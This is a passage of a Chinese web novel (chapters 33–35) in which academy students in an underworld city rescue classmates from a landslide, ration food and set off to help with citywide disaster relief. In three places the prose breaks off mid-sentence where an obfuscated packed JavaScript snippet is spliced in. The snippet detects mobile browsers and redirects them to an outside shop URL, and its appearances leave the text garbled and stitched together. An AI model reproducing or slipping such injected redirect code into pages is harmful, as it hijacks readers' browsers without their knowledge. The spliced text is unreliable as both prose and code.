>忠诚的展护卫领命而去,包大人负手站在窗边,窗外火光冲天,从地狱中逃出的恶鬼趁火打劫,杀人伤人不计其数。街道玻璃破碎,屋舍倒塌,无数游魂被掩埋在废墟之下,稚儿拉着被掩埋在废墟下的父母,哭声不绝于耳。包大人攥紧了拳头,造成这一切的缘由,现在就在那十八层地狱……那诡异的流星,到底是怎么回事?羊城的游魂们……有多少能挺过这一劫呢? 羊城的群众如何,祝平安不知道,她现在只知道自己要不行了。黑暗完全压住了她,她只觉得身上很重,那重量正在把她肺叶里的最后一丝空气往外挤,她只是惶恐地把手边能抓到的东西越抓越紧—— “是地震引发的山体滑坡,平安。抓紧我,不要怕。”耳边有一个声音说,接下来,一阵浓郁的桂花香飘进祝平安的鼻孔。她只觉得自己的身上一轻,好像有什么东西顶开了身上的重物,空气又重新回到了她的鼻腔。 黑暗让她无法看到,以桂中秋为圆心,无数青葱细嫩的新芽从一片黑暗中萌发出来,飞快的生长壮大,努力向上顶翻桎梏。植物看似柔弱,但向上生长的力量是无可阻挡的,无论多么厚重的土层都阻挡不了它们追寻光明,很快,几片新叶破土而出,祝平安也被生长的枝条柔和地顶出地面。 此时的地面,已经完全看不出学院的一点影子。山体滑坡掩埋了一切,岩石狰狞,红土裸露,树木倒伏,溪水浑浊,远处还有多处起火,学员们用尽心血打造的学院,再次变成了大荒地的样子,只有数十个较为幸运的学员逃过了掩埋,此刻也是惊慌失措,不知如何是好。 根本来不及为这种事情感到痛心,祝平安刚缓过一口气,立刻手脚并用地开始刨土——叶霆霓和林四梅还埋在地下呢! 她一边刨土,一边大喊起来:“愣着做什么!救人啊!” 被她这么一喊,魂不守舍的幸免者这才回过神来,帮助祝平安过来挖土,人多力量大,不一会儿,林四梅和叶霆霓也被挖了出来。好在七槐山的生态好,此次滑坡倾泻的土石不算多,两人都没什么事。 接下来不必说了,两人也投入紧张的救援活动中,林四梅还从一片废墟中找到了武装部学员们人手一把的工兵铲,几人像是蚂蚁一样辛勤地干了起来。 祸兮福所倚,大家虽然一直抱怨学院连宿舍都没有,只有帐篷睡,现在却庆幸幸好大家都睡的是帐篷——挖掘时没有瓦砾砖块阻碍,人员也很少被砸伤。只要把他们从土里挖出来,喘匀了气就立刻又是一个救援的生力军! “你们怎么样!”远远地,范无咎副校长驾着送魂鸟飞了过来,他自己浑身是土,明显是刚从土里挣扎出来的,“这里很危险!你们快点到操场去,那里地势高,留在这里很可能会有二次滑坡的!” “走?我们怎么能走啊!”祝平安抹了一把脸,“其他学员还埋在下面呢,我们走了他们怎么办!” “魏校长已经发文,向政府请求支援了!你们的心意是好的,但自己的安全也很重要,还是先去操场避难吧?”范无咎急的上下翻飞,不停劝说。 “如果是地震,按照刚刚的震级,只怕现在城里也乱做一团吧!”说到此处,祝平安想到里奥,心里一痛,但仍是一步不动,手下不停刨土,“七槐山离城里很有一段距离,等到政府来救我们,那要等到什么时候啊?现在动手,下面的人就多一线生机,不能为了一点风险,就不顾这些人的性命啊!” “没错!”林四梅抡圆了膀子,把铲子使得上下纷飞,“范校长,你的好意我们心领了,但是你要真想帮上忙的话,就过来跟我们一起挖!” 烦躁地揪揪头发,范无咎最终被他们说服了:“好吧!你们几个先跟我来,到仓库区拿些铁锹工具,不过你们一定要注意安全!” 33. 救灾工作 在去仓库的路上,温尔雅也带着几百人从男宿舍区出来,加入了祝平安的队伍。他们个个毫发无伤,甚至身上连土都没沾到。据男宿舍区的幸存者说,当山体滑坡的时候,不知为什么那些土石纷纷绕开了温尔雅所在宿舍方圆五十米,所以男宿舍区的幸存者要多一些,还保留下来一些完好的帐篷。 其实这也是后土祭司的被动技能罢了,身为大地之神的眷属,他们永远不会被大地伤害,是而山体滑坡都绕着温尔雅走。祝平安立刻就叫人把这些帐篷都拆了搬到操场上去,并安排专人看管,现在完好的帐篷可是非常重要的救灾物资。 范无咎给他们开了仓库,有了趁手的工具,下一个难题就摆在临时救援队面前。按照救灾的原则,一定是先救多再救少,这样被救出来的人就能去帮助他人;先救易后救难,先把被埋在浅表的人救出来,再集中力量去救那些被掩埋在复杂地形里的人,这样才能提高救援效率,减少伤亡。 但是,谁也没能记下帐篷的分布位置,现在被土石一冲,说不定还有些帐篷从原地被冲走了。而且,谁也不知道大家被埋得多深,哪里被掩埋的人又最多……要挖哪里,怎么挖,几个人去挖,一时间众说纷纭,成了僵局。 就在这一筹莫展之际,终于有个聪明人想到了志愿者协会的会徽。 所有会徽都是桂中秋的树叶制成,是她身体的一部分,故而桂中秋能够感应到所有会徽的位置!会徽想必不会离开主人太远,桂中秋只需要沉下心感受一下会徽所在之处,就能轻易地找到大多会员帐篷的位置,并能根据会徽聚集的状况推断出待救援的人数! 金毛毛那句好人有好报,果然不假,志愿者协会的会员们虽然比非会员多干了不少的活,可在这种非常时刻,他们获救的概率也因此几何倍数的提升了。大家肯定会先把能确定位置的人全部救出,才有余力去搞地毯式搜寻,那个时候,还能活下来的有几个人呢? 范无咎校长驾驶着送魂鸟,载着桂中秋在学院上方低低飞行,桂中秋潜心感受,每当她感受到一个会徽的气息,地面就会长出一小株桂树苗来作为标记,桂树苗越矮,则证明这里的人被埋得越浅。有了这个标记,救援人员就有了定盘星,桂中秋一边标记,温尔雅一边照此来分派队伍,挖掘进度陡然加快了。 两小时后,桂中秋一共标记了三千三百八十一处地点,种下一万五千零四十二棵树苗,当最后一个地点也标注完毕时,她脸色惨白地倒了下去。 祝平安用期待的目光看向温尔雅,温尔雅为难地摇了摇头:“这种标记法,实际需要桂中秋消耗生命元气,将自己的枝条扦插下去强行催化成树苗,然而再深厚的元气也经不起如此消耗。这不是受伤,我也无能为力,只能用灵气来滋养才能慢慢复元,” “我没事!”桂中秋却还在逞强,“我只需要躺一会就好了,一会儿我还能跟你们一起挖!” “不用,您好好休息吧!”两个医疗部的学员抬着桂中秋到一边休息,“您能给我们做标记就足够了,挖土交给那些壮丁吧,您看,他们干的多快呀,少你一个不少!” 桂中秋顺着他们的手指看去,温尔雅手持铁锹,一铲下去,地面立刻薄了一大块,好像挖出了半车那么多的土。一共挥了十来铲子,一个帐篷就被挖出来了,救出了被压在下面的六名学员! 桂中秋疑惑:温尔雅什么时候力气这么大了?挖土挖的又快又好,他之前不是背个伤员都背不动吗? 其实,这也只是后土祭司小小的能力罢了,一切土石都需听从祭司的指挥,实际上他只需要心念一动,土石就会自动挪开,拿个铲子只是为了掩人耳目而已。 桂中秋再一转头,就看到金毛毛蹲在那里,连锹都不用,两爪刨土刨得飞快,分分钟就刨掉了小山那么多的土。她立刻就放下了刚刚那些疑惑,感叹大家干活果然都很强啊。 琢玉学院热火朝天的景象,魏玄成此时却还一无所知。发出求援信息不久,他就收到传真,通知他到应急管理部开会,会议是阎罗天子亲自主持,不能不去,他只能压下满心担忧,将学校交给范无咎打理,自己匆匆来开会。 众多官员齐聚一堂,作报告者是阎罗天子包大人的师爷公孙策。此人不愧是包大人最倚重的下属,短短的时间内已经查清了地府这场大乱的来龙去脉。 原来那颗诡异的红色流星乃是天界的荧惑星君,这位星君爱上了一名小仙子,但那仙子并不愿与他在一起,荧惑星君数次求爱不成,一怒之下将仙子囚禁,强娶为妻,仙子为表宁死不屈的决心,自剔仙骨,跳下诛仙台而死,魂灵坠入幽冥。荧惑星君无法接受这个结果,这才逆天行事,以大法力撕裂阴阳界限,打上地府,要找回那仙子魂魄。 要是按照往常,地府还只有十八层地狱和轮回井的年代,荧惑星君的行为顶多是扰动九泉,撕裂大地,弄死些花花草草,也不算什么大事。但现在地府鬼口众多,屋舍林立,他这一闹就造成了严重的次生灾害,搅得大家民不聊生,比孙大圣昔年大闹地府还厉害。 事情到这里还没完,那仙子想不到星君会追来,为躲避星君,又躲入十八层地狱,荧惑星君这才攻破地狱,誓要让那仙子永生永世都不能逃离他一步,导致十万恶鬼跑出囚笼,闹起了暴乱。 听完了报告,众位部长的白眼都翻到天上去了。 大半夜把我们从被窝里揪起来开会,就是要我们听这又臭又长又老土的脑瘫爱情故事?什么古早言情文的剧情哟,集强取豪夺渣男虐女于一身,要多狗血有多狗血!你们天界也太跟不上时代了吧!现在还玩这种2008年的剧情!搞出那么多事情,让我们来擦屁股,有没有想过我们这些上班族的感受!我们的命也是命啊! “他们这些星君的职责是什么?肯定工作都不饱和。”武装部长秦琼吐槽,“每天还有心思搞这些情情爱爱的事情。” “荧惑星君是盘古大神的须发所化,出生就带着仙气,只要还存在于天幕之中就算是上班了,要说实际工作确实没有。”张松鹤用一种吐槽某些二代的口吻说道:“混吃等死不干活,拿谈恋爱和臭显摆当主业,但就是很尊贵很不能得罪,谁叫人家出身好呢。” “好啦好啦,闲话少说,说正事。”包大人压住大家不满的议论,“现在事情已经弄清楚了,那要做的事情就很清晰了,我现在把任务分派一下。” “首要工作是救灾,由我亲自指挥,由应急管理部、坊市营缮部、消防署、商务部、船舶部、道路运输部、医疗部、工程部参与协同,将一切人力物力集中起来,尽全力抢救百姓。” “第二就是抓捕逃窜的恶鬼,由展护卫带队,由武装部、地狱事务部、公共安全部协调,将所有恶鬼缉捕归案。” “第三,城中现有的秩序必须回复,宣传部、街镇行政部火速拟一个章程出来,通知城中百姓避难信息及城中情况,将北城、西城和中心城区的居民火速迁移到南城区避难,以免乱上加乱!” “第四,其余没点到名字的部门,你们即刻开往南城区建设安置点,要做好后勤保障工作,在安置群众的同时全力搜集后勤物资,以备前线使用!” “第五,荧惑星君必须要控制住,但天界之人法力深厚,我们地府只怕少有人能匹敌,魏玄成,你不是天界的人曹官吗,辛苦你回天界一趟,请天兵下界,抓捕荧惑星君! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837502|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 魏玄成起身领命,示意自己一定办到。他其实跟荧惑星君一样都是天界中人,只是派驻到地府指导工作,否则哪来那么大的面子能够请得动那些高级的师资力量?一想到这一去,学校的事情又不能料理,魏玄成觉得自己最好在去天界前先回学校一趟,否则他实在放不下心。这一茬人才苗子是他亲手护理,好不容易到了收割期,可不能都不明不白地折损在荧惑这个恋爱脑上! 但他不知道的是,学校的学员们比他想象的还优秀~不用人来帮忙,他们就已经自救成功了! “报告祝副会长,挖掘工作进行的很顺利,目前已经找到一万八千名学员了,一万五千名志愿者协会会员全部找齐!您看下一步是不是集中力量搞地毯式搜索?” “祝副会长,目前我们找到了一千二百三十六名伤员,其中一千多人轻伤,还有二百名重伤,我们的药品跟技术都有限,如何处理这些重伤号?” “祝副会长,食堂已经完全损毁了,大家需要清洁的食物和水……” “祝副会长……” 当然,自救也不是那么一帆风顺的,总有大大小小的问题要去解决。一夜过后,大家都灰头土脸的坐在土坑边开会,挖掘工作告一段落,他们现在面临的问题更加险恶现实。琢玉学院只是个学校而已,物资储备远远不能够自给自足,这么多人要吃要喝要睡,还有些人需要医药,对于还很稚嫩的祝平安来说,这是她此生面对的最大难题,她其实没什么好主意。 可学员们不知道这点,大家都用期待而信任的目光看着她,在学员们心里,祝副会长可是个很有本事的人!多么的聪明!多么的有魅力!危难时刻又勇敢地站出来,组织人手救大家于废墟中,祝副会长一定能想出好办法的! 不要慌,不要慌。沐浴着这些信任的目光,祝平安慢慢的平静了下来。先易后难,她慢慢整理着思路,把目光投向了谢必安:“校长,学校之前给食堂买过一批罐头吧?现在这些罐头还剩多少,您那里有数字吗?” 罐头! 所有人的眼睛一下就亮了,这可是好东西呀,未开封的罐头可以保存很久,即使被掩埋也不会损坏,携带又方便,是现在最需要的宝贝! “应当是按照每人每天两份的标准买的,一荤一素。现在预计还剩下十二万份。”谢必安在心里预估一下数字,认为应该没错。 这可是一大笔物资了,十二万份罐头,足够大家吃个两天,若是省着吃,可以吃四天,那时候救援怎么也来了吧?听到这个数目,大家都松了一口气。不管什么时候,肚里有粮,心里都不慌啊! 祝副会长真是个能人,她怎么就知道学校有罐头呢?学员们用更加崇拜的眼光看着祝副会长,毕竟人类总是愿意信服给他们饭吃的人。 “一会儿请谢校长带几个人去仓库,把罐头拿出来用吧。”祝平安用商量的口气说,她还不太习惯吩咐校长做事,但谢必安好像不以为忤的样子,祝平安的胆子也就慢慢大起来:“一万份罐头专门供给伤员,起码要保证他们的营养供应,剩余的人要省着吃,毕竟我们还不知道要坚持多久。” “我同意祝副会长的意见。”说话的是温尔雅,虽说也干了一天活,但他依然气定神闲,一尘不染,不知道是怎么做到的,“但我也想要补充一点,我们必须要制定规范的食物领取制度。” “第一,罐头由志愿者协会保管分发,除了重伤员外,不劳动者不得食!第二,每人每天仅可领取两个罐头,第二天要用自己的两个空罐头盒子换取新罐头,禁止多拿多占!第三,要立刻将公共安全部学员组织起来进行巡逻,发现抢夺他人食物者,严加处置!” 34. 有用之人 听到温尔雅的食物领取制度,谢必安和范无咎对视了一下,心内暗暗吃惊。 虽然早就听魏玄成说此子是施政的人才,但这还是他们第一次见到温尔雅的老辣手腕,这哪里像是学生的手笔,分明是个办事老道的能吏!这三条制度每条都切中要害,首先,倘若掌握食物分配权,志愿者协会将真正成为现场最高指挥,自古以来管饭的人第一大,两名副校长如果不掌握物资,也就是个虚名而已,难以与其抗衡。 以空罐头换取新罐头的食物领取方法,更是堵死了可能产生的漏洞,避免有人偷奸耍滑。最后,公共安全部的学生已经基本唯祝平安马首是瞻,用他们来维持秩序,还不就是祝平安的私兵一般?三条制度条条有理有据,实则环环相扣,满是阳谋,是要光明正大地将祝平安拱上最高指挥之位! 好在两人并没有什么抢班夺权的心思,若能通过此事,把学员们锻炼出来那是最好的,毕竟实战机会可不是天天有,于是两人也很干脆的表示同意。 若是在古代,温尔雅一定是个能扶持主公从草莽走上帝位的军师,而现在他所扶持的主公,却还对这些手腕似懂非懂呢。祝平安只觉得温尔雅考虑很周到,果然比她自己更有办事天分而已。 食物的问题解决了,接下来祝平安又安排一千人专门负责搜集燃料烧水给大家喝,三千人负责继续挖掘剩余学员,一万人从废墟中回收能用的东西,两千人将回收的资源整理到仓库中登记管理。 至于伤员的问题,大家都没什么办法,温尔雅不会随便出手给不相干的人医治,祝平安见识过桂中秋因救人倒下的那幕后,也不愿强求温尔雅出手,于是伤员们最终只能收容在那些最好的帐篷里,让医疗部的人来看守他们。 一天之后,当魏玄成的送魂鸟回到学院时,他看到的就是一副井井有条的画面,操场排着长长的队伍领取食品,伤员们躺在帐篷里,有人专门喂他们吃饭,大多数学员虽然灰头土脸,但没什么大碍,甚至还有好多生活物资被大家从废墟里淘了出来,其中不乏燃料、被褥、药品、帐篷等现在最急需的物资…… 在地面迎接他的,不是两名副校长,而是并肩而立的一男一女,男的一尘不染,风华无双,正是温尔雅;女的虽然满面灰尘,但身子笔挺,正是祝平安,经历了一天一夜的救灾行动后,她身上已经迅速的褪去了学生气,变得果断沉稳起来,见到魏校长回来,她早早迎候在此,将过去一天一夜的情况都迅速地汇报了一下。 “你们做的不错。”魏玄成欣赏的点点头,这两名学员实在是他的骄傲,“现在你们只需要做最后一件事,把所有学员组织起来撤离,我会把你们送到最近的安置点去。” “安置点?那是啥?” “校长,是地震了么?还听说有什么火流星?” “城里怎么样了?我们家那里没事吧?” 更多的学员也涌上来,开始七嘴八舌的询问了。魏玄成便将那个狗血的爱情故事又给大家讲了一遍,“事情就是如此,现在城里也非常的乱,我把你们送到最近的安置点后,需要立刻回到天界去求援。” 星君作乱,北城淹水,西城起火,道路堵塞,恶鬼出逃…… 想不到真相居然是这样!祝平安的脸色变得非常难看,里奥就住在地狱入口附近呀!这么说来,里奥岂不是…… 她的脸色一下变得很难看,不愿再去想了,兴许是发现了她难看的脸色,温尔雅轻轻拍了拍她的手:“你的家人会没事的。” 祝平安勉强冲着温尔雅笑了一下,又惶惶追问魏玄成了:“中心城区现在情况怎么样?我们去了安置点之后要做什么?” 魏玄成讶异地看着她:“做什么?当然是什么都不做了,目前为止你已经做得很好了,到了安置点后,会有人照顾你们的,你们只需要保证自身安全就好了。” “那受灾城区怎么办?” “会有人去救灾,把民众转移到安置点的。”魏玄成只能照着会议精神传达了,实际上他深知这所谓的救灾和转移只是尽人事听天命而已,原因无他,受灾面积太大了,涉及群众极多,而人手是有限的,最终能抢救出来的人数只怕很少。 但他不欲对学员们说出来,以免增强大家的心理压力,可祝平安已经跟他颇为熟悉,从他那躲闪的目光就看出来事情不是那么简单。她一把拽住魏玄成的袖子:“校长!我知道地府的人手没有多少,这次一共能有多少人参与救灾,请您跟我们说实话!” “地府会尽力的……”魏玄成只能用这句轻飘飘的话来安慰他们。 已经有隐隐的哭声,从人群中传了出来。大家都不是孩子了,起初他们只以为是琢玉学院遇到了山体滑坡,当听说琢玉学院的情况其实还算好时,也就不难想象依然留在城中的亲人朋友遭遇了什么。 “别哭了。” 一道有些颤抖的声音响了起来。祝平安狠狠地擤了一把鼻涕,把满眶的眼泪压下去:“我说,别哭了!” 在众人惊诧的目光中,那个浑身灰土,狼狈不堪的女子面向着他们,简直是用嘶吼的力气大声说话了: “眼泪有什么用啊!能救回我们的亲人吗?能铺平道路吗?能熄灭大火吗?” 她说着让大家不要哭,可是眼泪却不由自主地从她眼睛里流出来,把脸上的尘土冲出了一道道沟壑:“眼泪没用,可是我们是有用的!我们是琢玉学院的学员,经历了半年的培训,如果没有这场意外,我们已经是地府的差役了!” “我们之中有人懂得如何疏散人群,有人懂得怎么救死扶伤,有人懂得怎么维修道路,有人懂得怎么抓住逃犯,有人懂得怎么开船、怎么救火……”她一一诉说着,到最后只是重复道:“我们,是有用的!在这里的一万八千名学员,个个都是有用的!” “在没有任何支援的情况下,我们互帮互助,靠自己把大家从山体滑坡中救了出来,我们已经证明了自己的能力,我们能救更多人!” “既然是有用之人,就应该发挥自己的作用,不能只是等着上级的救援,不能袖手旁观!” “我们要发挥自己的力量,我们要去保护我们的城市,我们的亲人朋友!” 祝平安那明亮的目光向每个学员脸上扫过去:“我们不去安置点,我们真正要去的地方,是受灾城区!” “我们是差役,我们要去救大家,这是我们的义务、我们的愿望、我们的责任!” “没错!”金毛毛第一个站出来响应她了,“大家都需要我们帮助,我们怎么能不管!” “对!”现在说话的居然是卫珑,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837503|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们要为救灾献出自己的一份力量!” 紧接着,被祝平安的话语所打动,林四梅、叶霆霓、白子欣……一个又一个的学员表态,自动请缨加入到救灾之中了,刚开始只是公共安全部、应急管理部、武装部等擅长救灾的学员跟着应和,可慢慢地,声音像是涟漪一般,在人群中扩散的很远很远。金融部、食安巡检部、税务部等非战斗人员也开始跟着发声,到后来,已经分不清是谁在说话。起初,他们发出的声音是乱哄哄的,可到了最后,他们的声音整齐划一了起来: “我们不去安置点!” “我们是差役,我们要去参与救灾,这是我们的义务、我们的愿望、我们的责任!” 万人齐呼的声音,像是海啸,像是山崩,像是划破乌云的惊雷,祝平安就站在这山海之巅,驾驭着万壑惊雷,向着魏玄成欺近:“校长,就让我们也加入这场救援行动吧!” 魏玄成被祝平安的气魄深深折服了,但,他依然摇了摇头。 “你们一天没有毕业,就一天不是真正的差役,这不是闹着玩的,水火无情,学校也要为你们的安全考虑……” “校长!” 他的话被祝平安打断了,祝平安上前一步,两只眼睛像是两簇不灭的火种,紧紧盯着魏玄成:“校长,您还记不记得,曾经您答应过我一个要求?” 魏玄成失声叫道:“你!你是想……” “现在,我要校长答应我第三件事,让我们前去救灾!” “此事是否违法乱纪?是否违背校长良心?是否让您捏着鼻子吞苍蝇?” 祝平安上前一步,“倘若都不是,请校长答应我们!” “请校长答应我们!”祝平安身后,一万八千名学员齐齐呐喊,声闻九天。 多么优秀的青年人啊,满载着勇气、希望、纯洁……这一瞬间,魏玄成感到自己短暂地回到了青春岁月,可以为了正义无所畏惧,可以为了理想奋不顾身……漫长官场岁月搓揉下来,他虽然尽力保住心中理念不变,可那一腔孤勇的锐气却早就被磨平了,行事变得瞻前顾后、委曲求全。 在那场空中事故后,他也曾在无人时轻声问过自己,如果换做是年轻时候的魏玄成,会拒绝张松鹤开除卫珑的决定吗? 他不愿去面对那个答案,面对它就好像在承认如今自己的软弱与妥协,可是有一件事他不能骗自己,他……更喜欢曾经那个无所畏惧的魏玄成。 他看着祝平安,眼前的女孩那么年轻,她的背脊那么挺拔,像是战场上一面不倒的旗帜;她的眼睛那么明亮,像是上好的水晶镜子。透过那双眼,他看到了一个人,正是人到中年,逐渐庸碌圆滑、丧失心气的魏玄成,这让他猛然一惊,痛彻心扉地出了一身冷汗。 “以铜为鉴,可以正衣冠;以史为鉴,可以知兴替;以人为鉴,可以明是非……” 喃喃地念着这段他曾用来劝谏君王的话,魏玄成苦笑,到今日,他才知道什么是以人为鉴的滋味。范无咎耸耸肩,对着魏玄成无奈的一摊手,“长江后浪推前浪,这些学员们真的已经成长了,我们可不是他们的对手。” 是啊,现在是到了将这些火种撒往漫山遍野的时刻了,魏玄成最终吐了口,“好吧,好吧。我现在就向包大人请示一下,你们等着!” 35. 出征 包大人听说有近两万名生力军自愿加入救灾队伍,自然无有不允。他还火速划拨了一批物资过来,包括少许食物、药品、武器和只有地府差役才能使用的传真鼎。有了此物,救灾队伍才能第一时间收到指挥中心发下来的任务,协同救灾。只是事发突然,这些学员也并非真正的差役,故而这些传真鼎只激活了收信功能,却不能向外发信。 在等待救灾物资送到前,琢玉学院也迅速处理了手头的事务。伤员们必须转运到安置点,也还有两千余名师生仍埋在地下没找到,除此之外,已经清理出来的物资也最好给救灾队伍带上,以备不时之需。 一番商议后,最终,由范无咎校长负责将一千多名伤员转运到安置点,并在那里照顾他们;谢必安校长带着两千名没有加入志愿者协会的学员留在学校,继续挖掘剩余师生;而一万五千名志愿者协会的会员,则以十人小队的形式出征,全部开往救灾一线。 每队一个只能收信的传真鼎,一只送魂鸟,一捆长绳,只够十人吃上三天的食品,一顶撕破了几个口子,从土里刨出来的帐篷,一个急救箱,十件救生衣,十件灭火毯,十把匕首。公共安全部的学员得到额外拿上一个防暴盾一个防暴叉,应急管理部的学员分到一条拘魂锁,这就是他们全部的装备了。 非常简陋的装备,甚至拿去露营都嫌不够,遑论拿去救灾?可大家丝毫都不在意,学员们笑嘻嘻地列队站好,虽说脸是脏兮兮的,背上的包是破破烂烂的,可他们的笑容那么自信,队列那么整齐,好像他们穿着的是最威武笔挺的制服,手握的是最精良的武器装备。他们就要这样笑着出征,用这些救生衣防火毯小匕首,在洪水、火焰和恶鬼手中,抢夺生命了。 “快给我拍个照啊!这是我一生中最帅的时刻!我要留给爸爸妈妈看!” “原来这就是真正的拘魂锁吗?比我们上课时候用的威风多了!恶鬼统统伏诛,你们的差役爷爷来啦!” “兄弟们,我们宿舍内部比赛吧!谁救得人多,谁就是我们宿舍的老大!往常我们赌的都是些无聊的事情,现在终于能用这么有意义的事情做赌注了!” 逐一扫视着这些谈笑风生的学员们,魏玄成用力一一记住他们的脸庞。如此简陋的装备,如此恶劣的环境,他明白,下面的学员也明白,有些人出去之后,就再也不会回来了。 努力压抑住鼻酸的感觉,魏玄成示意大家共同举起手中的壮行酒。其实所谓的壮行酒,只是空罐头盒罢了,里面装着简单过滤烧开的泥水,简陋的就像大家救灾的行囊一样。 但是,没人嫌弃这壮行酒的粗劣。学员们面不改色,好像端着的是茅台佳酿。魏玄成持着酒杯站在主席台上,他一生发表过很多次类似的演讲,很明白这时候应该说什么:叮嘱大家注意安全,鼓励大家勇敢战斗,最后感谢大家挺身而出…… 但最终,他只说了一句话。 “诸位学员,不,诸位壮士……我魏玄成这一生最幸运的事情,是做了你们的校长。” 一口饮下那杯壮行酒,他弯下腰,对着台下,深深地鞠了一个躬。 “请务必平安归来,毕业典礼上,我定会备齐佳肴美酒,迎接诸位凯旋!” 台下,学员们一起举杯,潇洒的将壮行酒一饮而尽。抹了抹嘴,珍惜地咽下这珍贵的水分,学员们最后一次与身边的好友拥抱,便举步登上自己队伍所在的送魂鸟,毫不留恋地奔赴到救灾战场去了! “走吧,我们也要出发了。” 卫珑已经将送魂鸟准备好,呼叫着队员们要出发了,桂中秋强撑着坐起来,与大家一一握手告别。她消耗元气太多,无法跟随大家一起出征,却硬顶着不愿意跟伤员们一块去安置点,最终还是留在学校,参与挖掘工作:“你们一定要保重,我会等着你们回来的!” “放心吧,大家不会有事的。”祝平安是知道温尔雅本事的,反而没有桂中秋那么担心,“你在学校也不要太拼命,小心身子。” 呼的一下,祝平安身上的传真鼎冒出一股绿火,凝结成一卷公文传递到祝平安手上。祝平安展开看了一下,举步登车:“来任务了!目标是城北的花峰镇,有近千名群众被水灾困在楼顶上,我们的目标就是协助道路运输部把人转移到安置船上,有没有信心完成任务?” “有!”不出意料,只有金毛毛一个人在捧哏。叶霆霓吐槽道:“净问些形式主义的问题,没信心难道我们就不去了?别废话了,快走吧!” 送魂鸟双翼一展,带着大家豪迈的笑声,向着花峰镇飞去。 另一边,在城中一条街道上,张松鹤正持剑斩杀一个恶鬼。恶鬼身后,还跟着两个同伙,张松鹤轻蔑一笑,正想将这两名恶鬼也诛于剑下,突然发现,自己背后伸出两把防暴叉,将那两名恶鬼叉在地上。 紧接着,又有几个人从后面跑出来,其中两人手持防暴盾顶在前头,另六个人手里拿着匕首,闭着眼睛就对着恶鬼一顿戳刺,明显看出拿刀的人手抖脚软,有一个还差点把自己的手指头切下来。但好在人多势众,十几二十刀之后,两个恶鬼抽抽着不动了,估计死的时候非常羡慕刚刚被张松鹤一剑封喉的同伴。 “你们是?志愿者协会的会员?”张松鹤认出了那桂叶会徽。 “是的!我们全体会员都自愿加入救灾一线,我们小队是来支援您扫荡这片区域的!”为首的队长收起防暴叉向他敬礼,“这些小喽啰我们应付的了,您就放心交给我们吧!” 看着这沉稳勇敢的队长,和他身后哆哆嗦嗦但也很勇敢的队员,张松鹤爽朗地笑了。 “你们的围殴阵型不错,继续保持。”他夸奖了小队几句,接着传授多年的战斗经验了:“不要用匕首多次捅人,那会破坏武器,要直接用匕首割断他们的喉咙,这样不伤害刀刃……” 城西的荔珠街道,烈火熊熊不息,连续奋战了一天一夜的消防员终于不堪重负地倒下了,手中的水龙还在持续喷水,他是因体力不支而累倒的。 不行……不能倒在这里啊,他艰难地在地上爬动着,想要重新站起来。他是最后一道防线了,如果让火势继续蔓延下去,身后那些来不及转移的群众…… 火焰灼烤着他的眉毛,已经无法努力了吗?他心有不甘地盯着那扑到面前的烈火,忽然,他贴近地面的耳朵听到了一阵杂乱的脚步声。 “发现一名伤员!”很快,他被人背了起来,他惊奇地睁大眼睛,发现自己被一个小队给救了起来。他还看到,有两个人从地上捡起水龙,用非常标准但明显不太熟练的姿势向着火焰喷去,再度遏制住了火势,另外的人则快速地清理着附近的可燃物,意图清理出一条防火隔离带。 “你们是谁?来这里很危险的!”消防员禁不住叫了出来:“你们快退后,这里交给我们消防署就好!” “前辈,都已经倒下就不要死撑了,也该让我们这些后辈试试水啦!”手持水龙的女子扭过头来露齿一笑,胸前的桂叶徽章分外显眼,“我们是预备差役,奉指挥中心之命来支援救火的!我也是在消防署受训了六个月的,你会的我都会!这里就交给我们吧!” “什么玩意?”消防员明显不太了解预备差役是怎么回事,大叫道:“水龙要瞄准火焰根部呀!偏移的话救火效果不好的!” “收到!瞄准根部,一鼓作气扑灭火灾!”女子向他行了一个标准的消防员礼,扭动水龙向火苗根部发起冲锋,将火苗步步击退。 南城区,伤者源源不断地被抬进医疗帐篷。被砸伤的人、溺水的人、烧伤的人、骨折的人、被恶鬼砍伤的人……伤员们像是混乱扭动的蠕虫一样在医疗帐篷里呻吟着打滚,肮脏粗糙的手无助地向上伸着:“救救我!我好痛!我不想死!我不想死!” “护士,拿缝合针!”帐篷最里面,满头大汗的医生向后一伸手,却发现身后空空如也:“护士!又跑哪里去了!” 他不耐烦地回头搜寻护士的踪迹,发现对方正跪在地上给一个大出血的伤者做压迫止血,抱歉地对他摇摇头。医生啧了一下舌头,只得一手握紧止血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“妈妈!爸爸!”小孩一被塞出车外,就嚎哭着想要往车上扑,却被路人死死抓住。车里的爸爸妈妈把脸紧紧靠在后窗上,抓紧人生最后的几秒来看儿子。拉住后保险杠的人再也吃不住势子,若再不放手,连他们也要被拖入深渊! 